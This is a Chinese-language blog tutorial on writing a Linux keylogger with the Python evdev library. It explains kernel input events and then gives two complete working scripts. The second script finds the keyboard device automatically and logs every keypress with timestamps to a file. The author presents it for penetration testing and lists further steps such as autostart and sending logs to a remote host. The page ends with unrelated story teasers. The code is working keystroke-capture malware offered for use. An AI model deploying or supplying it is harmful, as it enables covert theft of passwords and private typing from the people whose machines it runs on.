Linux下的鍵盤(pán)記錄程序

前言

大家知道,在Linux下一切皆文件。所以,鍵盤(pán)鼠標(biāo)等作為一種標(biāo)準(zhǔn)輸入輸出設(shè)備必然也是在Linux系統(tǒng)中以文件的形式存在的。熟悉Linux的話一下就可以想到在/dev/下的這種設(shè)備文件,所以這里我們需要的就是讀取指定的鍵盤(pán)設(shè)備文件就可以了。

這里需要使用到linux的驅(qū)動(dòng)-input輸入子系統(tǒng)`evdev`。`evdev`輸入事件驅(qū)動(dòng),為輸入子系統(tǒng)提供了一個(gè)默認(rèn)的事件處理方法。其接收來(lái)自底層驅(qū)動(dòng)的大多數(shù)事件,并使用相應(yīng)的邏輯對(duì)其進(jìn)行處理。`evdev`輸入事件驅(qū)動(dòng)從底層接收事件信息,將其反映到 sys 文件系統(tǒng)中,用戶程序通過(guò)對(duì) sys 文件系統(tǒng)的操作,就能夠達(dá)到處理事件的能力。在這里我們使用一個(gè)叫做`evdev`的python庫(kù)進(jìn)行處理,其原理是用C函數(shù)`evdev_read()`讀取`/dev/eventX`設(shè)備中的buffer數(shù)組,里面存有input_event類型數(shù)據(jù)。

1.1 Linux下的鍵盤(pán)響應(yīng)事件

Linux下的鍵盤(pán)響應(yīng)事件即上面說(shuō)到的input輸入子系統(tǒng)`evdev`輸入事件驅(qū)動(dòng)。首先需要理解`input_event`類型的數(shù)據(jù)描述。在Linux內(nèi)核中,input設(shè)備用`input_dev`結(jié)構(gòu)體描述,使用input子系統(tǒng)實(shí)現(xiàn)輸入設(shè)備驅(qū)動(dòng)的時(shí)候,驅(qū)動(dòng)的核心工作就是向系統(tǒng)報(bào)告按鍵、觸摸屏、鍵盤(pán)、鼠標(biāo)等輸入事件(`event`,通過(guò)`input_event`結(jié)構(gòu)體描述),不再需要關(guān)心文件操作接口,因?yàn)镮nput子系統(tǒng)已經(jīng)完成了文件操作接口。

在`linux/input.h` 這個(gè)文件(具體位置在 `/usr/include/linux/input.h`)定義了event事件的結(jié)構(gòu)體,API和標(biāo)準(zhǔn)按鍵的編碼等:
struct input_event {
struct timeval time;  //按鍵時(shí)間
__u16 type; //事件類型
__u16 code; //模擬的按鍵
__s32 value;//是按下還是釋放
};
type,指事件類型。在這里咱們研究的是:按鍵事件,當(dāng)然還有其他事件(比如鼠標(biāo)事件等),這里不再詳細(xì)討論。
code:事件的代碼。這里只討論按鍵事件,其類型代碼code是EV_KEY,該代碼為設(shè)備鍵盤(pán)代碼。在該文頭文件中已經(jīng)定義的0~248中不同的鍵盤(pán)按鍵代碼(詳細(xì)見(jiàn)linux/input.h文件)。
value: 事件的值。同樣,咱們討論事件的類型代碼是EV_KEY,當(dāng)按鍵按下時(shí)值為1,松開(kāi)時(shí)值為0。

1.2 Python的evdev模塊

根據(jù)官方文檔(`[https://python-evdev.readthedocs.org](https://python-evdev.readthedocs.org/)`)說(shuō)明,evdev模塊使用比較簡(jiǎn)單。最新版本的python-evdev模塊可以使用`pip`安裝。當(dāng)然,安裝之前需要Linux系統(tǒng)具有`gcc/clang`,并具有python環(huán)境和Linux內(nèi)核頭文件支持。

1.3 Python實(shí)現(xiàn)鍵盤(pán)監(jiān)控

經(jīng)過(guò)上面對(duì)設(shè)備文件的列舉,很容易就知道在我這臺(tái)電腦上對(duì)應(yīng)的鍵盤(pán)設(shè)備事件文件是/dev/input/event0 所以,直接監(jiān)控這個(gè)設(shè)備文件進(jìn)行讀取就OK了。下面是10行不到就可以實(shí)現(xiàn)的簡(jiǎn)單鍵盤(pán)記錄腳本(注意,由于設(shè)備文件的讀取需要權(quán)限,所以這里以root運(yùn)行):
#!/usr/bin/env python
# coding=utf-8
 
from evdev import InputDevice
from select import select
 
dev = InputDevice('/dev/input/event0')
while True:
    select([dev],[],[])
    for event in dev.read():
        if(event.value == 1 or event.value == 0) and event.code != 0:
            print "Key:%s Status:%s" % (event.code, "pressed." if event.value else "release.")
上面的簡(jiǎn)單程序基本可以監(jiān)聽(tīng)到鍵盤(pán)記錄,但是如果放到現(xiàn)實(shí)的滲透測(cè)試環(huán)境中還是不行的。比如還需要實(shí)現(xiàn)自啟動(dòng),自動(dòng)識(shí)別鍵盤(pán)設(shè)備文件,如果存在多個(gè)鍵盤(pán)設(shè)備那還要采用多線程實(shí)現(xiàn)對(duì)多個(gè)鍵盤(pán)設(shè)備事件同時(shí)進(jìn)行監(jiān)控,還有實(shí)現(xiàn)在線記錄和離線記錄以及自動(dòng)發(fā)送遠(yuǎn)程主機(jī)等等技術(shù)需要實(shí)現(xiàn)。

對(duì)上面的程序進(jìn)行簡(jiǎn)單的修改,就可以做一個(gè)簡(jiǎn)單的鍵盤(pán)記錄程序。
keylogger_in_linux.py

#!/usr/bin/env python
# coding=utf-8
 
import re
import sys
import time
from evdev import InputDevice, list_devices
from select import select
 
lasttime = int(time.time())
 
 
def findDevice():
    devs = [InputDevice(fn) for fn in list_devices()]
 
    for dev in devs:
        if(re.search('eyboard', dev.name)):
            kb_device = dev.fn
            return kb_device
    return False
 
def ctoa(code):
    dict = {
        1: 'ESC', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7',9: '8',
        10: '9', 11: '0', 14: 'backspace', 15: 'tab', 16: 'q', 17: 'w', 18: 'e',
        19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[',
        27: ']', 28: 'enter', 29: 'ctrl', 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g',
        35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 42: 'shift',
        43: '\\', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm',51: ',',
        52: '.', 53: '/', 54: 'shift', 56: 'alt', 57: 'space', 58: 'capslock', 59: 'F1',
        60: 'F2', 61: 'F3',62: 'F4',63: 'F5',64: 'F6',65: 'F7',66: 'F8',67: 'F9',
        68: 'F10',69: 'numlock',70: 'scrollock',87: 'F11',88: 'F12',97: 'ctrl',99: 'sys_Rq',
        100: 'alt',102: 'home',104: 'PageUp',105: 'Left',106: 'Right',107: 'End',
        108: 'Down',109: 'PageDown',111: 'del',125: 'Win',126:'Win',127: 'compose'
    }
    if code in dict:
        return dict[code]
 
def writefile(asc):
    global lasttime
    f = open("keylog.txt","a")
    now = int(time.time())
    ntime = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now))
    if abs(now-lasttime) < 5:
        f.write(asc+" ")
    else:
        f.write('\n['+ntime+"] "+asc)
    lasttime = now
 
    f.close()
 
def detectInputKey():
    device = findDevice()
    
    if not device:
        print "[-] Can't find any keyboard devices!"
        print "[-] Exit..."
        sys.exit(0)
 
    dev = InputDevice(device)
    while True:
        select([dev],[],[])
        for event in dev.read():
            if event.value == 1 and event.code != 0:
                asc = ctoa(event.code)
                writefile(asc)
                print asc,
                sys.stdout.flush()
    
if __name__ == "__main__":
    detectInputKey()
至此,一個(gè)簡(jiǎn)單的Linux下的鍵盤(pán)記錄程序就完成了。
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,563評(píng)論 6 544
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 99,694評(píng)論 3 429
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事。” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 178,672評(píng)論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 63,965評(píng)論 1 318
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 72,690評(píng)論 6 413
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 56,019評(píng)論 1 329
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 44,013評(píng)論 3 449
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 43,188評(píng)論 0 290
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,718評(píng)論 1 336
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 41,438評(píng)論 3 360
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 43,667評(píng)論 1 374
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,149評(píng)論 5 365
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,845評(píng)論 3 351
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 35,252評(píng)論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 36,590評(píng)論 1 295
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 52,384評(píng)論 3 400
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 48,635評(píng)論 2 380

推薦閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,767評(píng)論 25 708
  • # Python 資源大全中文版 我想很多程序員應(yīng)該記得 GitHub 上有一個(gè) Awesome - XXX 系列...
    aimaile閱讀 26,535評(píng)論 6 427
  • 22年12月更新:個(gè)人網(wǎng)站關(guān)停,如果仍舊對(duì)舊教程有興趣參考 Github 的markdown內(nèi)容[https://...
    tangyefei閱讀 35,207評(píng)論 22 257
  • 求婚大作戰(zhàn),一部典型的日式純愛(ài)系列的劇集,明明相愛(ài)卻說(shuō)不出口。電視劇的男主和女主,青梅竹馬,從小學(xué)到大學(xué),一直相守...
    本命年18歲閱讀 229評(píng)論 0 1
  • 1.每次在一起總能睡到12點(diǎn)才起床。吃了點(diǎn)東西就先回宿舍曬被子。昨天還說(shuō)著我每次都臨時(shí)搞點(diǎn)事情出來(lái)讓他不好安排,很...
    鈴鐺風(fēng)聆閱讀 345評(píng)論 0 0